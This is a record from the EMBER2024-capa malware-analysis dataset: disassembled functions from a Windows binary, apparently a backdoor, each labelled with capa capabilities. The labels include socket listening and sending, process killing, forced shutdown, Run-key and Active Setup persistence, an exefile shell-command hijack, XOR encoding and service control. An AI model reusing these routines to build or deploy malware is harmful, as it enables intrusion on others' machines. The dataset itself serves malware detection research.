joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401114
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
sub esp, 0x100
mov ecx, dword [ebp + 8]
xor edx, edx
movzx ebx, byte [edx + str.80_]
mov edi, ebx
mov esi, ebx
sar edi, 3
and esi, 7
movzx eax, byte [ecx + edi]
movzx edi, word [esi*2 + 0x427198]
and eax, edi
test eax, eax
je 0x401152
mov eax, 1
jmp 0x401154
xor eax, eax
mov byte [ebp + edx - 0xfc], al
inc edx
cmp edx, 0x38
jl 0x401125
mov dword [ebp - 0x100], 0
mov dword [ebp - 0x104], 0
cmp word [ebp + 0xc], 1
jne 0x40118b
mov edx, 0xf
sub edx, dword [ebp - 0x104]
shl edx, 1
jmp 0x401191
mov edx, dword [ebp - 0x100]
mov ebx, edx
inc ebx
xor esi, esi
mov dword [ebp + ebx*4 - 0x8c], 0
mov eax, dword [ebp + ebx*4 - 0x8c]
mov dword [ebp + edx*4 - 0x8c], eax
mov ecx, dword [ebp - 0x104]
movzx eax, byte [ecx + 0x427240]
mov dword [ebp - 0x108], eax
mov edi, dword [ebp - 0x108]
lea ecx, [edi + esi]
cmp ecx, 0x1c
jge 0x4011e0
mov al, byte [ebp + ecx - 0xfc]
mov byte [ebp + esi - 0xc4], al
jmp 0x4011ee
mov al, byte [ebp + ecx - 0x118]
mov byte [ebp + esi - 0xc4], al
inc esi
cmp esi, 0x1c
jl 0x4011c8
mov edi, 0x1c
mov ecx, edi
add ecx, dword [ebp - 0x108]
cmp ecx, 0x38
jge 0x401216
mov al, byte [ebp + ecx - 0xfc]
mov byte [ebp + edi - 0xc4], al
jmp 0x401224
mov al, byte [ebp + ecx - 0x118]
mov byte [ebp + edi - 0xc4], al
inc edi
cmp edi, 0x38
jl 0x4011f9
xor eax, eax
movzx ecx, byte [eax + 0x427250]
cmp byte [ebp + ecx - 0xc4], 0
je 0x40124b
mov esi, dword [eax*4 + 0x4271a8]
or dword [ebp + edx*4 - 0x8c], esi
movzx ecx, byte [eax + 0x427268]
cmp byte [ebp + ecx - 0xc4], 0
je 0x40126a
mov ecx, dword [eax*4 + 0x4271a8]
or dword [ebp + ebx*4 - 0x8c], ecx
inc eax
cmp eax, 0x18
jl 0x40122c
inc dword [ebp - 0x104]
add dword [ebp - 0x100], 2
cmp dword [ebp - 0x104], 0x10
jl 0x401175
lea eax, [ebp - 0x8c]
push eax
call fcn.004012a2
pop ecx
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x403cc5
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
sub esp, 0x28
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x30], eax
xor ebx, ebx
lea eax, [ebp - 0x2c]
xor esi, esi
push 0x20
push ebx
push eax
call fcn.00409b60
mov edi, dword [ebp + 0x18]
mov al, byte [ebp + 0xc]
add edi, dword [ebp + 0x1c]
add esp, 0xc
test edi, edi
mov byte [ebp - 0x2c], 1
mov byte [ebp - 0x2b], al
jle 0x403daa
lea eax, [ebp - 0x2c]
add eax, 6
push dword [ebp + 0x18]
push eax
call fcn.00406c18
lea eax, [ebp - 0x2c]
pop ecx
add eax, 0xa
pop ecx
push dword [ebp + 0x1c]
push eax
call fcn.00406c18
cmp dword [ebp + 0x1c], 0
pop ecx
pop ecx
jle 0x403d40
mov eax, dword [ebp + 0x10]
add eax, dword [ebp + 0x18]
push dword [ebp + 0x1c]
push dword [ebp + 0x14]
push eax
call fcn.00409b20
add esp, 0xc
cmp dword [ebp + 0x24], 0
je 0x403d5a
push 0
push edi
push 0
push dword [ebp + 0x10]
push 1
call fcn.0040893c
add esp, 0x14
mov esi, eax
test esi, esi
jg 0x403d67
mov dword [ebp - 0x30], 0
mov esi, edi
cmp dword [ebp + 0x20], 0
je 0x403d84
push 0
push esi
push dword [ebp + 0x10]
push 0x41d850
call section..text
mov ebx, eax
add esp, 0x10
jmp 0x403d86
mov ebx, esi
lea eax, [ebp - 0x2c]
push ebx
add eax, 2
push eax
call fcn.00406c18
cmp dword [ebp + 0x20], 0
pop ecx
pop ecx
je 0x403da0
inc byte [ebp - 0x1e]
cmp dword [ebp - 0x30], 0
je 0x403daa
add byte [ebp - 0x1e], 2
cmp dword [ebp + 0x28], 0
je 0x403db4
add byte [ebp - 0x1e], 0x80
lea eax, [ebp - 0x2c]
push 0
push 0xf
push eax
push 0x41d850
call section..text
add esp, 0x10
push 0
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 8]
call sub.WSOCK32.dll_send
cmp eax, 0xffffffff
jne 0x403de6
mov eax, 0xffffffff
jmp 0x403de8
mov eax, ebx
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x405887
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
sub esp, 0x518
mov ebx, dword [ebp + 0xc]
cmp ebx, 7
mov esi, dword [ebp + 8]
mov dword [ebp - 0x524], 0
mov dword [ebp - 0x518], 0
je 0x4058ba
cmp ebx, 8
je 0x4058ba
mov byte [esi], 0
push str.NTDLL.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [ebp - 0x514], eax
jne 0x4058d1
jmp 0x4058e8
push str.NtQuerySystemInformation
push dword [ebp - 0x514]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x4058ef
xor eax, eax
jmp 0x405a3a
push 0x10000
call fcn.0040ce20
pop ecx
mov dword [ebp - 0x51c], eax
push 0
push 0x10000
push eax
push 5
call edi
mov edi, dword [ebp - 0x51c]
lea eax, [ebp - 0x110]
push 0
push 0
push 0x103
push eax
push 0xffffffffffffffff
push dword [edi + 0x3c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp ebx, 7
je 0x40596d
cmp ebx, 8
je 0x40596d
mov ecx, dword [edi + 0x44]
test ecx, ecx
je 0x40596d
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x510]
push ecx
push 0x429cb8
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x510]
add esp, 0x10
push eax
push esi
call fcn.00409930
pop ecx
pop ecx
lea eax, [ebx - 7]
cmp eax, 1
ja 0x4059ff
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x510]
push 0x4259a1
push 0x427c36
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x110]
add esp, 0x10
push 0
push esi
push eax
call fcn.004065df
add esp, 0xc
test eax, eax
je 0x4059c7
lea eax, [ebp - 0x510]
push 0
push esi
push eax
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x4059ff
cmp ebx, 7
jne 0x4059d7
mov eax, dword [edi + 0x44]
mov dword [ebp - 0x518], eax
jmp 0x405a0f
cmp ebx, 8
jne 0x4059ff
push 0
push dword [edi + 0x44]
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x4059ff
inc dword [ebp - 0x524]
mov edx, dword [edi]
test edx, edx
je 0x405a0f
lea eax, [edx + edi]
mov edi, eax
jmp 0x405912
push dword [ebp - 0x51c]
call fcn.0040ce40
pop ecx
push dword [ebp - 0x514]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, 8
jne 0x405a34
mov eax, dword [ebp - 0x524]
jmp 0x405a3a
mov eax, dword [ebp - 0x518]
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x405a43
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
sub esp, 0x6a8
mov esi, dword [ebp + 8]
cmp dword [0x425910], 0
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x6b4], 0
je 0x405a76
push ebx
push esi
call fcn.00405887
pop ecx
pop ecx
jmp 0x405caa
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
jne 0x405a89
jmp 0x405ad4
push str.CreateToolhelp32Snapshot
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [ebp - 0x6a4], eax
jne 0x405aa1
jmp 0x405ad4
push str.Process32First
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [ebp - 0x6a8], eax
jne 0x405ab9
jmp 0x405ad4
push str.Process32Next
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebp - 0x6a8], 0
mov dword [ebp - 0x6a0], eax
jne 0x405ade
mov eax, 0xffffffff
jmp 0x405caa
lea eax, [ebp - 0x298]
push 0x1e
push esi
push eax
call fcn.00409900
add esp, 0xc
cmp ebx, 7
je 0x405af8
mov byte [esi], 0
push 0
push 2
mov dword [ebp - 0x134], 0x128
call dword [ebp - 0x6a4]
mov dword [ebp - 0x6b0], eax
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x6b0]
call dword [ebp - 0x6a8]
lea eax, [ebp - 0x134]
mov dword [ebp - 0x69c], eax
add dword [ebp - 0x69c], 0x24
mov edi, dword [ebp - 0x69c]
lea eax, [ebx - 7]
cmp eax, 1
ja 0x405bf7
lea eax, [ebp - 0x698]
push edi
push 0x4259a1
push 0x427c36
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x258]
add esp, 0x10
push esi
push 0x4259a1
push 0x427c36
push eax
call fcn.0040b2b0
add esp, 0x10
push 0
push esi
push edi
call fcn.004065df
add esp, 0xc
test eax, eax
je 0x405bbc
lea eax, [ebp - 0x698]
push 0
push esi
push eax
call fcn.004065df
add esp, 0xc
test eax, eax
je 0x405bbc
lea eax, [ebp - 0x258]
push 0
push eax
push edi
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x405bf7
cmp ebx, 7
jne 0x405bcc
mov eax, dword [ebp - 0x12c]
jmp 0x405caa
cmp ebx, 8
jne 0x405bf7
push 0
push dword [ebp - 0x12c]
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x405bf7
inc dword [ebp - 0x6b4]
lea eax, [ebp - 0x698]
push edi
push dword [ebp - 0x12c]
push 0x429d10
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x278]
add esp, 0x10
push dword [ebp - 0x12c]
push 0x429d1c
push eax
call fcn.0040b2b0
add esp, 0xc
cmp ebx, 2
jne 0x405c60
lea eax, [ebp - 0x298]
lea ecx, [ebp - 0x278]
push ecx
push eax
call fcn.00409960
test eax, eax
pop ecx
pop ecx
jne 0x405c60
push dword [ebp - 0x69c]
push 0x429d20
push esi
call fcn.0040b2b0
add esp, 0xc
jmp 0x405ca8
cmp ebx, 7
je 0x405c74
lea eax, [ebp - 0x698]
push eax
push esi
call fcn.00409930
pop ecx
pop ecx
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x6b0]
call dword [ebp - 0x6a0]
test eax, eax
jne 0x405b3e
push dword [ebp - 0x6b0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 8
jne 0x405ca8
mov eax, dword [ebp - 0x6b4]
jmp 0x405caa
xor eax, eax
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x406676
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x10
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x4066eb
push dword [ebp + 0xc]
mov word [ebp - 0x14], 2
call sub.WSOCK32.dll_htons
push 0
push 2
push 2
mov dword [ebp - 0x10], 0
mov word [ebp - 0x12], ax
call sub.WSOCK32.dll_socket
cmp eax, 0xffffffff
mov dword [0x4258ec], eax
jne 0x4066b9
jmp 0x406773
lea eax, [ebp - 0x14]
push pe_nt_image_headers32
push eax
push dword [0x4258ec]
call sub.WSOCK32.dll_bind
test eax, eax
je 0x4066d3
jmp 0x406773
push 1
push 0x447
push dword [0x425948]
push dword [0x4258ec]
call sub.WSOCK32.dll_WSAAsyncSelect
cmp ebx, 0x47
jne 0x40677a
mov word [0x419c10], 2
mov ax, word [0x425954]
push eax
call sub.WSOCK32.dll_htons
push 0
push 1
push 2
mov word [0x419c12], ax
mov dword [0x419c14], 0
call sub.WSOCK32.dll_socket
cmp eax, 0xffffffff
mov dword [0x4258e8], eax
jne 0x406732
jmp 0x406773
push pe_nt_image_headers32
push 0x419c10
push dword [0x4258e8]
call sub.WSOCK32.dll_bind
test eax, eax
je 0x40674a
jmp 0x406773
push 8
push 0x400
push dword [0x425948]
push dword [0x4258e8]
call sub.WSOCK32.dll_WSAAsyncSelect
push 5
push dword [0x4258e8]
call sub.WSOCK32.dll_listen
test eax, eax
je 0x40677a
mov eax, 0xffffffff
jmp 0x40677c
xor eax, eax
lea esp, [ebp - 4]
pop ebx
pop ebp
ret
Function at 0x407136
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
sub esp, 0x90
mov eax, dword [ebp + 8]
xor edi, edi
xor ebx, ebx
cmp byte [eax], 0
jne 0x407183
lea eax, [ebp - 0x90]
push 0x80
push eax
call sub.WSOCK32.dll_gethostname
test eax, eax
jne 0x407263
lea eax, [ebp - 0x90]
push 0x429e90
push eax
call fcn.00409960
test eax, eax
pop ecx
pop ecx
jne 0x40719a
jmp 0x407263
lea eax, [ebp - 0x90]
push dword [ebp + 8]
push eax
call fcn.004098e0
mov eax, dword [ebp + 8]
pop ecx
mov byte [eax], 0
pop ecx
lea eax, [ebp - 0x90]
push eax
call sub.WSOCK32.dll_gethostbyname
test eax, eax
mov dword [ebp - 0x9c], eax
jne 0x4071b5
jmp 0x407263
mov dword [ebp - 0x98], 0
mov eax, dword [ebp - 0x9c]
inc edi
mov ecx, dword [eax + 0xc]
mov eax, ecx
add eax, dword [ebp - 0x98]
test eax, eax
jne 0x4071da
jmp 0x40726a
mov esi, dword [ecx + ebx*4]
test esi, esi
jne 0x4071e6
jmp 0x40726a
push dword [esi]
call sub.WSOCK32.dll_ntohl
mov edx, eax
mov ecx, eax
and edx, 0xff000000
and ecx, 0xff0000
shr edx, 0x18
shr ecx, 0x10
mov byte [ebp - 0x10], dl
mov edx, eax
and edx, 0xff00
mov byte [ebp - 0xf], cl
mov cl, al
shr edx, 8
and cl, 0xff
mov byte [ebp - 0xe], dl
mov byte [ebp - 0xd], cl
movzx eax, byte [ebp - 0xe]
movzx edx, byte [ebp - 0xd]
movzx ecx, byte [ebp - 0xf]
push edx
push eax
movzx eax, byte [ebp - 0x10]
push ecx
push eax
push dword [ebp + 8]
push str._s_d._d._d._d
push dword [ebp + 8]
call fcn.0040b2b0
add dword [ebp - 0x98], 4
add esp, 0x1c
inc ebx
test esi, esi
je 0x40725b
cmp edi, 6
jl 0x4071bf
mov eax, dword [ebp + 8]
cmp byte [eax], 0
jne 0x40726a
mov eax, 0xffffffff
jmp 0x40726c
xor eax, eax
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x407d30
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
sub esp, 0x20
mov ebx, dword [ebp + 0xc]
cmp dword [0x425910], 0
je 0x407da2
lea eax, [ebp - 0x18]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
lea esi, [ebp - 0x18]
lea edi, [ebp - 0x24]
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x10], 2
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x2c]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x407da2
lea eax, [ebp - 0x28]
push 0
push 0
push 0
push eax
push 0
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push str.reboot
push ebx
mov esi, 0x8a198
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x407dc0
mov esi, 2
push 0
push str.logoff
push ebx
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x407dd6
xor esi, esi
push 0
push str.shutdown
push ebx
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x407def
mov esi, 1
push 0
push str.poweroff
push ebx
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x407e08
mov esi, 8
push 0
push 0x42a11c
push dword [ebp + 0x10]
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x407e24
or esi, 4
cmp esi, 0x8a198
jne 0x407e33
mov eax, 0xffffffff
jmp 0x407e49
push 0
push esi
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x407e47
mov eax, 0xfffffffe
jmp 0x407e49
xor eax, eax
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407e52
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor edi, edi
mov esi, dword [ebp + 0xc]
push edi
mov ebx, dword [ebp + 0x10]
push str.visible
push esi
call fcn.004065df
add esp, 0xc
test eax, eax
je 0x407e76
add edi, 4
push 0
push str.named
push esi
call fcn.004065df
add esp, 0xc
test eax, eax
je 0x407e8d
add edi, 2
cmp byte [ebx], 0x62
jne 0x407e93
inc edi
cmp edi, 2
jge 0x407e9b
add edi, 8
push edi
mov byte [0x415730], 0
push 0x407ee1
call dword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x407eb9
mov eax, 0xffffffff
jmp 0x407ed8
push 0x415730
call fcn.004098c0
inc eax
pop ecx
push eax
push 0x415730
push dword [ebp + 8]
call fcn.00409b20
add esp, 0xc
xor eax, eax
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x40805d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
cmp dword [ebp + 0xc], 1
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x50], 0
mov word [ebp - 0x22], 0
mov dword [ebp - 0x4c], 0
mov word [ebp - 0x24], 0xa
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x28], 1
jne 0x4080a5
mov word [ebp - 0x24], 0
lea eax, [ebp - 0x54]
lea ecx, [ebp - 0x10]
push ecx
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4080cf
mov eax, 1
jmp 0x4080d1
xor eax, eax
leave
ret
Function at 0x4080d4
Capabilities:
Persist via active setup registry key
Persist via run registry key

Disassembly:
push ebp
mov eax, 0x2030
mov ebp, esp
push esi
push edi
call fcn.0040c490
mov ecx, 0xb
lea edi, [ebp - 0x38]
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
rep movsd dword es:[edi], dword [esi]
push 0x427ab6
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x2038]
push eax
call fcn.004098e0
lea eax, [ebp - 0x38]
pop ecx
pop ecx
push 1
push 0x42a184
push eax
lea eax, [ebp - 0x2038]
push reloc.WSOCK32.dll_bind
push eax
push 2
push 0
call fcn.00406783
lea eax, [ebp - 0x38]
add esp, 0x1c
push 1
push 0x42a188
push eax
lea eax, [ebp - 0x2038]
push reloc.WSOCK32.dll_accept
push eax
push 2
push 0
call fcn.00406783
lea eax, [ebp - 0x2038]
add esp, 0x1c
push 0x419bd0
push eax
call fcn.004098e0
lea eax, [ebp - 0x1038]
pop ecx
pop ecx
push 0x419c28
push str.SOFTWAREMicrosoftActive_SetupInstalled_Components
push 0x427c36
push eax
call fcn.0040b2b0
add esp, 0x10
push 1
push 0x419c28
push str.SOFTWAREMicrosoftActive_SetupInstalled_Components
push reloc.WSOCK32.dll_bind
push 0
push 6
push 0
call fcn.00406783
lea eax, [ebp - 0x1038]
add esp, 0x1c
push 1
push str.StubPath
push eax
lea eax, [ebp - 0x2038]
push reloc.WSOCK32.dll_bind
push eax
push 2
push 0
call fcn.00406783
lea eax, [ebp - 0x2038]
add esp, 0x1c
push 1
push 0x419c28
push str.SOFTWAREMicrosoftActive_SetupInstalled_Components
push reloc.WSOCK32.dll_accept
push eax
push 4
push 0
call fcn.00406783
lea eax, [ebp - 0x2038]
add esp, 0x1c
push 0x427aa5
push 0x4259a1
push str._s_s____1____
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x2038]
add esp, 0x10
push 1
push 0x42a1a8
push str.exefile_shellopencommand
push closesocket
push eax
push 2
push 0
call fcn.00406783
add esp, 0x1c
xor eax, eax
lea esp, [ebp - 8]
pop edi
pop esi
pop ebp
ret

Function at 0x408233
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
mov byte [edx + ecx], 0
sub ecx, 1
jb 0x408252
mov al, byte [ecx + 0x427ca8]
xor byte [edx + ecx], al
sub ecx, 1
jae 0x408244
ret
Function at 0x40842f
Capabilities:
Enumerate services

Disassembly:
push ebp
mov eax, 0x4c40
mov ebp, esp
push ebx
push esi
push edi
call fcn.0040c490
push 0xf003f
push 0
push 0
mov ebx, dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x4c48], eax
mov byte [ebx], 0
mov esi, dword [ebp + 0xc]
mov eax, esi
sub eax, 0
je 0x4084fe
sub eax, 1
je 0x40848d
sub eax, 1
je 0x4084b2
sub eax, 1
je 0x4084d7
jmp 0x4084fe
lea eax, [ebp - 0x420]
lea ecx, [ebp - 0x424]
push eax
lea eax, [ebp - 0x428]
push ecx
push eax
lea eax, [ebp - 0x4c44]
push 0x4800
push eax
push 3
jmp 0x408521
lea eax, [ebp - 0x420]
lea edi, [ebp - 0x424]
push eax
lea eax, [ebp - 0x428]
push edi
push eax
lea eax, [ebp - 0x4c44]
push 0x4800
push eax
push 1
jmp 0x4084fa
lea eax, [ebp - 0x420]
lea esi, [ebp - 0x424]
push eax
lea eax, [ebp - 0x428]
push esi
push eax
lea eax, [ebp - 0x4c44]
push 0x4800
push eax
push 3
push 0xb
jmp 0x408523
lea eax, [ebp - 0x420]
lea edx, [ebp - 0x424]
push eax
lea eax, [ebp - 0x428]
push edx
push eax
lea eax, [ebp - 0x4c44]
push 0x4800
push eax
push 1
push 0x30
push dword [ebp - 0x4c48]
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
mov dword [0x4258e4], 0
cmp dword [ebp - 0x424], 0
jbe 0x40863c
mov eax, dword [0x4258e4]
lea edi, [ebp - 0x444]
lea eax, [eax + eax*8]
lea esi, [ebp + eax*4 - 0x4c3c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x440]
mov eax, ecx
sub eax, 1
cmp eax, 6
ja case.default.0x408576
jmp dword [eax*4 + 0x40857d]
push str.STOPPED
jmp 0x4085cf
push str.STARTING
jmp 0x4085cf
push str.STOPING
jmp 0x4085cf
push str.ACTIVE
jmp 0x4085cf
push str.RESUMING
jmp 0x4085cf
push str.PAUSING
jmp 0x4085cf
push str.PAUSED
jmp 0x4085cf
push str.UNKNOWN
lea eax, [ebp - 0x1c]
push eax
call fcn.004098e0
pop ecx
pop ecx
mov edi, dword [0x4258e4]
lea eax, [ebp - 0x1c]
imul edi, edi, 0x24
push dword [ebp + edi - 0x4c40]
push dword [ebp + edi - 0x4c44]
push eax
lea eax, [ebp - 0x41c]
push str.__8s___17s__s
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x41c]
add esp, 0x14
push eax
push ebx
call fcn.00409930
pop ecx
pop ecx
push 0x42a2b4
push ebx
call fcn.00409930
inc dword [0x4258e4]
mov eax, dword [0x4258e4]
cmp eax, dword [ebp - 0x424]
pop ecx
pop ecx
jb 0x408546
push dword [ebp - 0x4c48]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x408653
Capabilities:
Continue service
Pause service
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
sub esp, 0x20
mov ebx, dword [ebp + 0xc]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 8]
cmp byte [eax], 0
jne 0x40867b
jmp 0x408680
cmp byte [ebx], 0
jne 0x40868a
mov eax, 0xffffffff
jmp 0x408786
push 4
push ebx
push 0x42a2b8
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x4086c1
push 0x20
push dword [ebp + 8]
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x4086c1
lea eax, [ebp - 0x28]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, eax
push 5
push ebx
push str.pause
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x4086f8
push 0x40
push dword [ebp + 8]
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x4086f8
lea eax, [ebp - 0x28]
push eax
push 2
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, eax
push 6
push ebx
push str.resume
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x40872f
push 0x40
push dword [ebp + 8]
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x40872f
lea eax, [ebp - 0x28]
push eax
push 3
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, eax
push 5
push ebx
push str.start
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x408764
push pe_nt_image_headers32
push dword [ebp + 8]
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x408764
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov edi, eax
test esi, esi
je 0x40876f
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test edi, edi
jne 0x408784
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x408786
xor eax, eax
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret